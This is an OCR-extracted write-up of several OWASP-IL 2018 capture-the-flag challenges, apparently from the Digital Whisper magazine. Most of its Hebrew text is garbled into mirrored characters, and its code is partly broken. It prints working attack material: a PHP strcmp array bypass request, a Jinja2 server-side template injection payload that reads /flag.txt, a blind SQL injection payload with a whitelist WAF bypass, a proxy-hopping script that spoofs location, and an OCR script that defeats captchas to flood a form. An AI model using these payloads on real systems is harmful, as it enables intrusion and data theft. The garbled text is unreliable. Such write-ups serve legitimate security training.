nin 2y PHP-2 71 )wna wnnwin? 9i0a7 n07nn Ljmmn No'py? 07w Nniro 1son NKY

.null W VTN NTANNA 127 77 7N 12 ARIYALINKA stremp NUYAI9 7W NININNN DK WawY

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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http://php.net/manual/en/function.strcmp.php

Technologic

:0 X1n null wn YW mvonn i PHP nowa

’

= array () ;

strcmp ($Sa, $b) ;

S_POST[‘md5’]-1 $_POST[‘username’] D™LNION NX NNYY? XIn NIYY7? YNRY N 75 ,012'07

"22T0 DR 7271 stremp YYD DR Q1pY7 021 PHP-1 7' )1yn aion nanwny

POST /login.php HTTP/Ll.1

Host: challenges.owaspil.ctf. today:8082

Content-Length: 44

Cache-Control: max-age=0

Origin: http://challenges. owaspil.ctf. today:8082

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4) AppleWebKit/537.3& (FHTML, like Gecko)
Chrome/e8.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image/webp,inage/apng,*/*;q=0.8
Referer: http://challenges.owaspil.ctf.today:8082/1login.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9 he;q=0.8,sv;q=0.7

Cookie: PHPSESSID=E£d33f{bB81B86311b5Zb5el052710£88664

Connection: close

[username []=hacked&mdS[]=hackedisubnit=subnit |

AT

OWASP-IL{PHP_1s_S0_B4d_Th4t_1t_Hurts}

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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Technologic

Recommendation Generator NANKX

Recommendation
Generator

500

Hi Guys, | need your help!

Someone hacked my recommendation system and i can't found the
security breach.

Canyou demonstrate the hacker's steps in order to take over the server
and send me the flag?

URL: http://challenges.owaspil.ctf.today:8087/

Flag Submit

NAN ' RNP? I ar Rwnn 7y Server Side Template Injection-2 oIy DT NANX

.(https://portswigger.net/blog/server-side-template-injection)

NX 'Y UNNWNn DY FTRY W' IWRIN NTWA WXRD LORL NITY W 73571 NanX? no'1Dn Dy
firefox-7 qoIMn T 7Y NIWN TY NPN0 INKY? y'7anNn wnnwnn OY DX QYN nTwAl Y97nnY

:python-2 "armuw 'k Wappalyzer Xajpan

0 Wappalyzer

Web Framework Programming Language
@ Bootstrap 4.00 @ Python

Web Server JavaScript Libraries

™ gunicorn 19.9.0 &= jQuery 331

y¥a7 12011 Jinja2-2 "art D nwna framework-n 7w 1nt Y700 n'7'a0n nTIAvn no'wn miva
:Github-2 Server Side Template Injection-n Nn'wn payload-2 win'w 1 7v Local File Inclusion

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240b

b0d2d708e2/Server%20Side%20Template%20injections/README.md

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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https://portswigger.net/blog/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md

v
¥
14

.Technoloqgi

X270 DR 17 av¥n Payload-n nx¥nl yaip? e viva

{"__class__._ mro__[2]._ subclasses_ (J[40]{'/flag.tt’).read() }}

Name
{"__class___ _mro_ [2]_ subclasses__ (J[40](/flagod) read() |}
Who would you like to recommend?

Recommendation Generator

Recommender name

OWASP-IL{IAmLOOkingFOrT3mpl4tes} is one of the most
valuable people | have ever met. Both smart and professional.

Experienced, deadline oriented and intelligent person. Highly
recommended.

23
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Technologic

Around the world - REAL "anX

Around the world - REAL
500

Hi you! Do you think that you traveled the world? Your mission is to
enter to our site with IP that belongs to country that we request you

Can you do that ? use with REAL IP:)

URL: http://challenges.owaspil.ctf.today:8095/

Flag

Submit

NYUpINN 01NN N1 1N 7v IP N2IMdn MW7 NigY X' naonn .OTIpN NANNKY QUNN 11'N AT 1ANKX

X77) .NUpIann N1TNNAN NYRAN NIX K'NINT NNRA Y7V DYONY 71 ,72TN IR KIXNY 1O NoY

(XFF njppL2 WIN'Y

:N2N V79N Y http://challenges.owaspil.ctf.today:8095 MaNKN 7W 'WXIN 9T

<« C @ @ Notsecure | challenges.owaspil.ctf.today:3095

In order to get the flag you must to serve from Japan (You served from Israel)| Counter: 0/16

upstream 1'Ta1 ,NYpIANN N1'TANN nwh nivt 'ma 9™ N'MIOD YXIIYW Ypan Nunv N7 N2

ANNNN NP'72 '0IN9n 79.138.99.254:8080 'Oj7INON NIYYNNA N9 Y¥A'W D burp suite-7 proxy

https://www.proxynova.com/proxy-server-list/country-se/

2 ARMY N, NTINNIENNR NIXA D71V 701 proxy MY 7w nn'wn '7'on proxynova TNX

Proxy IP

193.234.157.214

155.4.12.61

Proxy Port

Sweden (9)

Philippines (15)

Pakistan (9)

Poland (28)

St Pierre and Miquelon (0)
Puerto Rico (2)
Palestinian Territories (0)
Portugal (4)

Palau (0)

Paraguay (5)

Qatar (0)

Reunion (0)

Romania (14)

Serbia (24)

Russia (151)

Rwanda (0)

Saudi Arabia (3)
Solomon Islands (0)
Seychelles (0)

Sudan (0)

Note: If you do not know what any of these numbers mean, or how to use proxy servers in general, scroll to the bottom of this page

v = All Proxies = v
-

Uptime Proxy Country
0% () IE Sweden - skellefted
0% () = Sweden

0% () E= Sweden - Sollentuna
0% () E= Sweden

0% () E= Sweden - Stockholm

5.0

]

« 3 days ago 5 me

0% ()

E= Sweden - Solna

IR Sweden

YouTube

Anonymity

Elite

Transparent

Transparent

Transparent

Elite

Elite

Transparent

24
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http://challenges.owaspil.ctf.today:8095/
https://www.proxynova.com/proxy-server-list/port-8080/
https://www.proxynova.com/proxy-server-list/country-se/

Technologic

72 proxy-n MY NIYAWA 01 proxy NNW 119010 D¥YA ,upstream proxy 7¢ NNTann INKY

NN NMIYNN n'n,?nn NIV .NIYN X¥N1 N2 N7'2aNNN n190 DX I73.|7' nmvnv

Burp Project Intruder Repester Window Help Backsiesh

[ Dasntoara | Target | proxy | mirucer | Repeater | seauencer | Decoder | comparer | extender | Project optons | user optons | Addtonai Scanner Checks | 150N Beautter | Software Vuncrabity Scanner | cSRF | Logger++ | Whatsapp Decoser | Josept |

| (ol 1

s | s v Target: htpichalienges.owaspilcti today:809s 7 (3)

Raw | Params | Heagers | Hex |

-
>

Tn order to get the flag you must to serve from United States (You served from Sweden)| Cownter: 1/16

NN 'NnN ‘NN I]'72'|7 qoial nv NMTPNINN DX NIY'XNN MY TN n"ay I]'71'|'NJ N7 N1

.NXAN NYpRAN NR N'NIN7 D'YUNTI 1IX NN
NINAN NI7IYON NIX Y¥AN TWUN NN TIZN DX 112ND N'ONIVIX NIX] NII9N 52 Nx y¥a7 nn v

https://www.worldatlas.com/aatlas/ctycodes.htm anxXnn ni*1an nn'wa N m™im- .1

Session Cookie-1 N1*Tn 7w DW naIwN2 72701 Mwn 798 mawe .2
NITAN NNR'WY NV (X2 NNIX NINOoNN NIFNIX 'MY) N7¢ TIgn Inn N1 Tan My wonn .3
ONRNN DTIINY
27U N2IMD X'NINT O M7 1020 D'YNNWNAIE proxynova 1NK7 N9 D'¥an X pn X7 4
NIAINON NN'YIN TNX proxy NN
Proxy-n MW NT N9 no'v¥yan .5
2 Qo7 DM NNX N9 NTNY LA
AWX TV D 0D'YANE NN'TYID KD MWD 79 NQIND7 0Nay ANy X7 210901 nTna b
.N"190 NIX X'XINT N1'7X)

22TN NN D'0'9TNI NANKN NN D'7'095nN 11X 22Tn NX NaIvN I]'71|7I nTnm .6

#!/usr/bin/python

import re

import requests

import urllib3

urllib3.disable warnings (urllib3.exceptions.InsecureRequestWarning)

country codes
url = 'http:

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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https://www.worldatlas.com/aatlas/ctycodes.htm

Uu7VkWgUDN : A
mQ.LC A f5k7aWnPQ0ev Ojmld8"'}
response = requests.get (url, cookies=cookies)

for i in xrange(1l7):
country name = response.text.split ( ) [1].split( ) [0] .strip ()
code = re.search(r'{0}\s([A-Z] [A-Z])'.format (country name),
country codes) .group (1) .lower ()
proxy list =
.format (code)
response = requests.get (proxy list, verify=False)

for proxy part in response.text.split (
ip address = re.search(
; proxy part)
if ip address:
ip address = ip address.group ()

port address = re.search( ; proxy part)
if port address:
port address = port address.group (1)

if ip address and port address:
proxy dict = {
S .format(ipiaddress.replace(
port address)
}
try:
response requests.get (url, proxies=proxy dict ,cookies=cookies)

cookies]| ] = response.cookies|
print .format (response. text)

if in response.text:
print .format (response.text)
exit (0)

break

except Exception as e:
pass

‘227N DR 73 TIEn NN NKY

In order get the flag you must to from Ukraine (You served from Bulgaria)| Counter: 5/16

In order get the flag you must to from Australia (You served from Ukraine)| Counter: 6/16

In order get the flag you must to from United States (You served from Australia)| Counter: 7/16
In order get the flag you must to from Albania (You served from United States)| Counter: 8/16
In order get the flag you must to from Sweden (You served from Albania)| Counter: 9/16

In order get the flag you must to from Brazil (You served from Sweden)| Counter: 10/16

In order get the flag you must to from Norway (You served from Brazil)| Counter: 11/16

In order get the flag you must to from Austria (You served from Norway)| Counter: 12/16

In order get the flag you must to from Lithuania (You served from Austria)| Counter: 13/16

In order get the flag you must to from Portugal (You served from Lithuania)| Counter: 14/16
In order get the flag you must to from Philippines (You served from Portugal)| Counter: 15/16
In order to get the flag you must to from France (You served from Philippines)| Counter: 16/16
OWASP-IL{World T@r Gops S@rry Teur!}

OWASP-IL{werld_Ter_eops_Se@rry Teur!}

Hard nn12 0Manx? |nm yan ,Medium N2 DNANKN 772 IR IM97 110 XD TV
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Break The Captcha - Nightmare Nanx

Break The Captcha -
Nightmare

700

Following the last attack on my website i increased the difficulty of my
human security.
Do you think that you can bypass it with code and flood my form?

URL: http://challenges.owaspil.ctf.today:8085/

Flag Submit

YN NANKA YA DYONY 71 ,NIMY 30-2 captcha MAaNK 15 NN9Y 17y ,0TIEn NANKY? anim
qomal WNI' Ndalon captcha DYON N7 w'W NIXAYZ N1 AN YR X' OANRD 7Y 'WIpn Nl

Tonnn 70N

Your mission is solving 15 captcha's in 3@ seconds! can you do
it? :P

Solved: @

Submit

N'¥IN7I NINNN DX NIYOY7 710' AWK DTIRN MANKNN 090N NX 11770 1ANKRN DX 1INSY Nan 7y

.00pPLN NX NINN

NN 1NNWI NIYPA 1900 yXa captcha-n DX Tay7? n'7'NN 1177V VOPLN NIX X'XINY NI AW D

Jwnn NTINY captcha-n nnmn rb)

.UOZLN NINIY? NYPANN NIY N72PNNN NINNNE 27 YAy VoL 0'7'an 07DYW NIXYY? NN N1
INQN 91X NINNA D'YIAND 7W NN YIXA] IR'Ya K0ANN V9OoN 717DV
2INYY INIR 97N 27 20'901 nTna A1

277 IMIX 9'7m 1InW75 yax v'on Jop'onl nTna .2
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27 Y71 22 Y N yaxa 0o7uN TWKRD 0T [9IX] VOV KIZ pytesseract 21Tmn D |"x¥7 21wWn

ImageFile.LOAD TRUNCATED IMAGES = True
png file = PngImagePlugin.Image.open ('captcha.png')
width, height = png file.size

for i in xrange (height) :

for k in xrange (width) :
ab = png file.getpixel ((k
if ab[0] != 255 or abl[l]
png file.putpixel ( (k,
else:
png file.putpixel ((k,

png file.save ( )

text = pytesseract.image to string(Image.open('captcha2.png'))

D'V'9IN DI'RI DN90NI NIMIN DI'RY DN 700 TINY text-n 0'yS7w 17 nw T'mnn qioa

.captcha-a 7vi19a

00p7UN NN (hiy) NI D'NIMma DUYnNn 75 NX ]300 AWK XAN T NX N2ND |D'7

# clean bad characters from captcha for example (space, backtick and so)

return .join (map (lambda data: data if data in string.ascii letters or data in
string.digits else , text))

:INQN NPAID DX YXANY TI7 122N MIMNN DX NN17 N8N 1NKY7
NUND7 NYRA NNYY T Y 9Tin 'onnnn 7a2ann Nk 0bwin L1

http://challenges.owaspil.ctf.today:8085

727 10 My w1 ann
NAIND] 9 T7 NYpa NNY7Y T 2y Tnn captcha-n NX 0Dwin .2

http://challenges.owaspil.ctf.today:8085/captcha.php

.NMINNN DX D TImI

NXNY T2 nunnwn WK fix_captcha() n'¥j72192 win'y "1 2¥ DIMNnn VOjLVN NKX O'X'XIN .3
27 DTIR

0VOPLN NK N7DN NXRYINN DX .NRXINN DX D'NNINE NY? D2IMIN 70 DY NYpPan X o'nIv .4
DANKRN DX NIND7 1IN7¥N OWASP-IL

2 DRI XMN TN

from PIL import Image, PngImagePlugin, ImageFile

import requests
import pytesseract
import string
import re

import numexpr

def () :
ImageFile.LOAD_TRUNCATED_IMAGES = True
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png file = PngImagePlugin.Image.open ('captcha
width, height = png file.size

for i in xrange (height) :

for k in xrange (width) :
ab = png file.getpixel((k, 1))
if ab[0] != 255 or ab[l] != 255 or ab[2]
png file.putpixel ((k, 1), (255, 255,
else:
png file.putpixel ((k, i), (0, 0, 0))

png file.save ( )

text = pytesseract.image to string(Image.open ('captcha2.png'))

return .jJoin (map (lambda data: data if data in string.ascii letters or data
in string.digits else , text))

() :

response = requests.get (captcha url, cookies=cookies)

if response.status code == 200:
with open ( , 'wb') as f:
f.write (response.content)

(response=None) :
if not response:
response = requests.get (number url, stream=True)

for line in response.iter lines():
if in line:
re value = re.search( , line) .group (1)
return numexpr.evaluate(reivalue).item()

number url = 'http://challenges.ov
captcha url =

cookies = dict (PHPSESSID=

headers = {'content-type': 'application/

number = get number ()

while True:
get captcha ()
captcha = fix captcha ()

response = requests.post (number url,
cookies= cookies,
data=
.format (captcha, number),
headers= headers,
stream= True)

if in response.text:
print
elif in response.text:
print
else:
flag = re.search( , response.text) .group (1)
print .format (flagqg)

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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raw_input (" [*] Done!")

number = get number (response)

M2 DR 721 TIn DR XN

captcha!
ect!
captcha!
ect!
ect!
captcha!
captcha!
captcha!
captcha!
"rect!
captcha!
"rect!
ect!
captcha!
captcha!
ect!
captcha!
ect!
ect!
captcha!
captcha!
captcha!

captcha!
ect!
captcha!
ect!

ect!

captcha!
captcha!
captcha!
captcha!
captcha!

ect!

captcha!

captcha!

captcha!

captcha!

captcha!

captcha!

captcha!
FLAG: OWASP-IL{I 4M Th3 OCR_N1nj4!}
Done !I
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Flags, Flags, Flags "anx

Flags, Flags, Flags
750

There are so many flags but where is my flag!!! :(
Please find my flag | know it's here...

URL: https://challenges.owaspil.ctf.today:8443/

Flag Submit

227 DIN 7200 ANKA '9'¥90 YT IN'RIE HTTP/2.0 717101N192 N NMIAYN NN 701V DT NANK

NN1] XN 7D ,0N'11 INYO'R "NNony nN7v 72T NX KIXNY?I 072N DX ||n1'7 X' NANXN MMLN

ANNKN
€« C O | A Notsecure | hips//challenges owaspil.ctf today: trlee O @ $ B E
INTERNATIONAL FLAGS
= | = = === -
= | = === e a
Al GHANISTAN AL RICAN ALAND ALBANIA ALGEIIA ANDORRA ANGOLA ANGUILLA ANTIGUA & ARGENTINA ARMENIA ARUBA
Siavs  m— =
- .
| e— | .
RN ARG GRRAW  BRNG R I s i b b
LANDS
= e Noc”
ol = N O RS - e 1
[— ] -
BERMUDA BHUTAN BOLVIA DOSNIA BOTSWANA DRAZIL DRUNCI BULGARIA DURKINA BURUND! CAMBODIA CAMEROON
HERZECOVINA
o+ . I == =F * =
c— ——— <)
‘ F—— s e
CANADA CANARY CAPE VERDE CATALONIA CAYMAN CENTRAL HAD CHILE CHINA COLOMBIA COMOROS CONCO
i o oty
RCPUBLIC
-
= I F T -
b | =

DMANKA D'019) Burp Suite N12INA Spider-n *72 NIY¥XNXA NVIYD NP0 DY DANKN DX 170NN
:D1MYNn 0Y¥ap 2 117 MR YR (DMTIpn

NetherlandsAntilles-flags-cat o

bhutan-flags-cat e

:NNQN NMINNA NIKYY |NIY NN

I Fitter: Hiding out of scope and not found items; hiding CSS and general binary content; hiding 4xx responses; hiding empty foiders

Nepal-flags-cat.png Al Contents

Netheriands-flags-cat.png
Status 4
NetherlandsAntilles-flags-cat sl jiMefhoc S|,UR fiBacon:a iLempthsa| ANME:typasiif

NetherlandsAntiles-flags-cat png | hitps:/ichallenges.owas. GET Ifiags/bhutan-flags-cat

NewZealand-flags-cat.png
Nicaragua-flags-cat png
Nigeria-flags-cat.png

P B E A PP
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INQN ™MD DR DR 17X D'¥ApPn TNRY NM97 naIwnn 7V 75N01 oX

Look closely... you just received it :)
221 72T NN 72 X7 0 709 7R 7AR 09 7aTn DR 7w R

N¥Zn DAY 2 Mvnn N nnat (/https://www.wireshark.org) Wireshark n1dimn nx nnno

[2'71 HTTPS Niy¥nX2 N19XIN NMIAYNN D 17 0'wl .nwy

NIOXINN NMIAVNN DX NIXYT7 7211 X7 - ARXIN 117 27 X7 77hn N2 nnma Wireshark-2 win'w

(NN'wn ¥ '0190 NN9NN DR 117 |'RY |11'DN)

72 NX NYY? DTOTA DX 'TANY N1 ,NMIYNN NNRYS7 NS0 NNWOX NNy NNT Dy TN

NIN MY97 N71D'n DX ' Wireshark-47 7221 NN'YUnN N19¥N7 D'YNWUN TUX 0'0N'oN NINNSNN

.NAVNN

0NN9N NIYXAKRKA NINNO9AN 72 DX INWY |9TOTN NX 2TANYT 127V NRT NIWY? nan 7y

--ssl-key-log-file

-1 DN WNNWNYT ' IWORY CTD NN'WN NINNSN 70 NIXK '0NIVIR |SIXQ MMMY!' [9TOTN DXV DI

JINYI9NN MIAYNN 21N NI9X71 Wireshark

‘XN [DIXR]2 N'YYI A0NION DY [9TOTN NXN

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --ssl-key-log-
file=%USERPROFILE%\sslkeys.pms

NX'N7 T2V ,YaIn NIk NINN9NN DX NNZ7 Wireshark-n NR ' Tan% 1'2y nT79n Nx¥n NKY?

.SSL w7 Nayni Preferences 7y

2 sslkeys.pms Y277 2'nan DX |'TA7 12'7v DT 1702

£ Wireshark - Preferences ? X

SKYPE ~
SliMP3

SMB

SMB2 S5L debug file

Secure Sockets Layer

RSAkeyslist | Edit..

SMBDirect [ Browse...
SML

smP Reassemble SSL records spanning multiple TCP segments

SMPP Reassemble SSL Application Data spanning multiple SSL records
SMRSE [] Message Authentication Code (MAC), ignore "mac failed”

Fre-Shared-Key |

(Pre)-Master-Secret log filename

SNMP |c:\users\roman\sslkeys.pms Browse...

Socks
SolarEdge
SoulSeek
SoupBinTCP
SPDY
Spice
SPRT
SRVLOC
Sscop
SSDP

SSH

SSL
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https://www.wireshark.org/
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:MYISNN VTN 70 NR NIRI? 170N DX 117 U nYOw nXM Wireshark-7 21Tna ox

A ‘wi-si
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
L RE QewSF ST AQQH
W [ip.addr == 52.47.109.161
to. Time Source Destination Frotocol Length Info
6999 192.591444  10.10.10.6 52.47.109.181 HTTP2 129 HEADERS[19]: GET /flags/font-awesome.css
7000 192.591751  10.10.10.6 52.47.109.181 HTTP2 126 HEADERS[21]: GET /flags/widgets.css
7001 192.592351  10.10.10.6 52.47.109.181 HTTP2 133 HEADERS[23]: GET /flags/menuzord-gradient.css
7002 192.592758  10.10.10.6 52.47.109.181 HTTP2 132 HEADERS[25]: GET /flags/menuzord-custom.css
7003 192.593205  10.10.10.6 52.47.109.181 HTTP2 143 HEADERS[27]: GET /flags/conditional-responsive-lightbox.css
7004 192.594007  10.10.10.6 52.47.109.181 HTTP2 126 HEADERS[29]: GET /flags/amlabel.css
7005 192.594501  10.10.10.6 52.47.109.181 HTTP2 128 HEADERS[31]: GET /flags/styles(1).css
7006 192.595354  10.10.10.6 52.47.109.181 HTTP2 127 HEADERS[33]: GET /flags/amshopby.css
7007 192.595792  10.10.10.6 52.47.109.181 HTTP2 137 HEADERS[35]: GET /flags/CelebrosAutoCompleteV3.css
7008 192.595963  10.10.10.6 52.47.109.181 HTTP2 127 HEADERS[37]: GET /flags/downloads.css
7009 192.596416  10.10.10.6 52.47.109.181 HTTP2 128 HEADERS[39]: GET /flags/sociallogin.css
7010 192.596657  10.10.10.6 52.47.109.181 HTTP2 133 HEADERS[41]: GET /flags/mobilesociallogin.css
7011 192.596769  10.10.10.6 52.47.109.181 HTTP2 126 HEADERS[43]: GET /flags/snippets.css
7012 192.597697  10.10.10.6 52.47.109.181 HTTP2 128 HEADERS[45]: GET /flags/glyphicons.css
7013 192.598115  10.10.10.6 52.47.109.181 HTTP2 128 HEADERS[47): GET /flags/styles(2).css
7014 192.599104  10.10.10.6 52.47.109.181 HTTP2 130 HEADERS[49]: GET /flags/util.carousel.css
7015 192.599724  10.10.10.6 52.47.109.181 HTTP2 134 HEADERS[51]: GET /flags/util.carousel.skins.css
7016 192.600063  10.10.10.6 52.47.109.181 HTTP2 133 HEADERS[53]: GET /flags/addressvalidation.css
7017 192.601132  10.10.10.6 52.47.109.181 HTTP2 167 HEADERS[55]: GET /flags/afghanistan-flags-cat.png
7018 192.601646  10.10.10.6 52.47.109.181 HTTP2 139 HEADERS[57]: GET /flags/african-american-flags-cat.png
7019 192.636246  52.47.109.181 10.10.10.6 Tce 1514 8443 » 60010 [ACK] Seq=40613 Ack=1137 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
7020 192.636246  52.47.109.181 10.10.10.6 TP 1514 8443 » 60010 [PSH, ACK] Seq=42073 Ack=1137 Win=31360 Len=1460 [TCP segment of a reassembled PDU
7621 192.636248  52.47.109.181 10.10.10.6 e 1514 8443 + 60010 [ACK] Seq=43533 Ack=1137 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
7473 107 £3c740_£3 47 108 101 1010 10 < xen. 15440447 . £0AIA CAMKL Com AAOAI Al 2437 Liin I1IEQ L an 1ACO_LTEN - ammand af a amasmamblod OOUL

4 17w NR)

,bhutan-flags-cat yaIpn XnaIT ,72pnn 22Tnw vy 0'¥apn TART V1M Y¥I) DX

:PING nian

9626 387.
9627 387.
9628 387.

9612 387.763879 10.10.
9613 387.763757 10.10.
9614 387.764402 10.10
9618 387.839357 52.47.
9619 387.839357 52.47.
9620 387.839386 10.10.
9621 387.839520 10.10
9622 387.839718 52.47.
9623 387.839719 52.47.
9624 387.839747 10.10.
9625 387.8408457 10.10.

840513 10.10.
840556 10.10.
840596 10.10.

10.6
10.6

.10.6

109.181
109.181
10.6

.10.6

109.181
109.181
10.6
10.6
10.6
10.6
10.6

.47.109
.47.109
.47.109
.10.10.
.10.10.
.47.109
.47.109
.10.10.
.10.10.
.47.109
.47.109
.47.109
.47.109
.47.109

181 TLSvI 2 105 Change Cipher Spec, Finished

.181 HTTP2 147 Magic, SETTINGS[@], WINDOW_UPDATE[0]

181 HTTP2 418 HEADERS[1]: GET /flags/bhutan-flags-cat

6 HTTP2 92 SETTINGS[0]

6 HTTP2 92 SETTINGS[]

181 Tcp 54 60019 > 8443 [ACK] Seq=1055 Ack=223 Win-65280 Len=0
.181 HTTP2 92 SETTINGS[@]

6 HTTP2 418 DATA[1]

6 HTTP2 92 DATA[1] (text/html)

.181 TcP 54 60019 > 8443 [ACK] Seq=1093 Ack=625 Win=65024 Len=0
.181 HTTP2 100 PING[0]

.181 HTTP2 100 PING[0]

.181 HTTP2 100 PING[0]

.181 HTTP2 100 PING[0]

N2 flag-n NX N72'7w N1 NI72aNN W DINN DX N2 DX

OWASP-IL{This_is_the_real_flag}

Look closely... you just received:

:DOPLN NX INNKX TN

‘ Wireshark - Follow SSL Stream (tcp.stream eq 294) - Wi-Fi

1_flag}...
U T Look closely.. you just received it :).........

NOMAN XIN HTTP/2.0 Nj7'v> HTTP/2.0-2 2AIMD NANKN A7 DNNW DXY X'N D901 NIMyn ATI7A

v' wTNn 21710197 L(HTTP/1.1) 1997 tThn [IYXIN N0NAN |IDTY A7l HTTP 21710197 nwTnn

.PING nn"?w 12> NIS0N NI712'1 NNVAX ,D'VIX |12 NiA"Y nnnt

[TV NN'WN OXD NPT '917'NYT IR ITNYTI VAN n19Y% nipn nth N'Ta% (1nan Xin PING-n

PING ni7an 4 n72'pw NIXA7 N2 Manxa P71 0'Na 8 711 data 9'oin? N1 PING-7 ,nnImo

N'7'an 702 0'in 8 nionw

OWASP-IL o
{This_is e
_the rea o
|_flag} o

33
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Alcatraz "anx

Alcatraz
850

Hi,

| armn Frank Morris,

| need your help to escape prison,

| heared it's very easy for you and | hope it will be the case this time,
Please get the Alcatraz administrator password from their website and
1 will pay you well.

URL: http://challenges.owaspil.ctf.today:8081/

Flag Submit

7272 "anK7? nodN oy .White List no'wa w190 WAF Bypass-1 SQL Injection-2 701V 0T NANK
.id ,(TNX "VN 7'onn URL

http://challenges.owaspil.ctf.today:8081/profile.php?id=1

NN NYRA NNY7W NIYNKA id 10N19Y7 ta? [N DRN P17 no1

http://challenges.owaspil.ctf.today:8081/profile.php?id=1"'

:SQL Injection NINTA D' MANKD [NND - 1ITA DY DAIYN 'K

HTTP/1.1 200 OK

Date: Sun, 16 Sep 2018 08:34:13 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.9

Vary: Accept-Encoding

Content-Length: 169

Connection: close

Content-Type: text/html; charset=UTF-8

SQL error: You have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server version for
the right syntax to use near '\' LIMIT 1' at line 1

TINY? NIx ' WAF 2In nTiay 75 1nd> JWAF - 710 Nanxa W'y 1*7"2 payload 7y nTiay 1 N
D 1272 TINA NN I0K NNl NIm nn Tin%7? oknnal (white/black list) Taly WAF-n no'w nm'xa
TN .D'TNI'D D'IN'0 IRWI %29-%20 ,0'"'wNa ,0'NIN 10N 12'val White List-n nu'wa a1y WAF-n
INIY RTHA TR NIM2IX NIFNIR NN DX .NIF72IX DNIFNIRE N0 L,7'09 ,0'712Y D'MAI0 7N nn

121 instr, stremp, substr, char > Native SQL Ni*¥j?1192 wnnwiny
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if (condition, case true, case false)

https://mariadb.com/kb/en/library/if-function/

instr(strl, str2)

https://mariadb.com/kb/en/library/instr/

NYUNNUN [N NiX21ion 7v 7aon

tif n'¥PIIon

:NQN [9IN2 Manann if NXRI9N

‘901 yTnY

tinstr N'¥7219n

.str1-1 221 str2 DX true NY'TNN instr N'¥19N

1901 yTNY

:substr N'¥719n

NN NM'TNAl length-n IN?E from DIz'AN str NTNNAN DR NATIA substr(str,from,length) n'x¥ja1on

https://mariadb.com/kb/en/library/substring/

NTANNN NN

:qon yTnY

:char n'x219n

X2"10 900N 7w ascii-n AIX"'N DR NYTANE 90N N7apn char n'yjIon

https://mariadb.com/kb/en/library/char/

if(instr(substr(password,1,1),char(1)),13,0)

:N2N payload-n NX 11X' D¥YA D

NIRYINN 2y VA2l intruder-7 INIK "pNN"

Request | Payload | Status | Error | Timeout | Length | Comment
79 79 200 g [ 2728
111 111 200 O O 272
0 200 O [T,
1 1 200 ] O 217
H 2 200 d O 217
3 3 200 ] O 217
! Fl 200 g ] 217
5 5 200 U ] 217
6 6 200 O [IT;
7 7 200 ] O 217
g g 200 ] O 217
9 9 200 ] O 217
10 10 200 ] ] 217
11 1 200 g [ 217
12 12 200 O (1T,
13 13 200 O [T,
14 14 200 ] O 217
15 15 200 d O 217
16 16 200 ] O 217
17 17 200 ] ] 217
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2w 0NN 75 N1y mwnn P L0 - ' IWRIN MDY o 111-1 79 7w 17 AThw NIKYY N2
INAN 72TN NN 17271 kno'on

OWASP-IL{l am_the WAF_bypass_master!}

Did'o
ANPRNON DINN 7¢ Q'0R"7ORN KW Tpnnn N7 010 ,7xwa OWASP 01> D'pnn mw *T'nd
"D NIYATIN NIZID1AI I'DINA MY D'N DNANKNNA TNXR 72 AwWKRD CTF 1anX D*pnn 0100 NNaona

JA'0R™MONND D71V T7ANN R LINIX INS9Y

D'7'NNNN 707 D2 NI9Y7 INY7¥N DPANNNY D ,NYRI 1102 77 ,'Uiz DN wi7wh 7nnn anKn

.CTF-n yN'~2 9NNWNY7 DINNA D'WIN 7 NANY NYWRY7 TWON 221 WNI' 0'onnn 70 nal

JNND7 0DTA DRI NA'WNN DT DX 77100 DNANKNNA TNX 727 [INN9N DX 1V'9 0T JNonNa

nV7NN P71 YYD Y75 DA TIM'% 1230 DA DUINN WK ,NT 210N DNANK NDN21] DTN X

11NN NX DO1DY

NN '"WIR D 7w 217'Y N NPT DNANKD 70 XK QIN9Y7 'O NIX NTIAY AwaM D 178N N

.DIIY NRINNSI NI I73.|7'7 22 NID7NNN ' AN DALY 'MN2 NTIAVI

V219 'Y 7¥ NIYT7IN NN DY

AN L1 Y D'RAN DNANN DR 770 178 NNIY N2amMdY7 121 Checkpoint 7w Niw7inn Agnn Ny
DNANKRD 770 PN NI TATR 720 ,mi70 9K N TYY? 0T N 0201 IR URT

JINNNN TVINA DN T-7V NN T 1INN2 D'RAMN

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
www.DigitalWhisper.co.il
36 2018 M2102IX ,99 |I"72




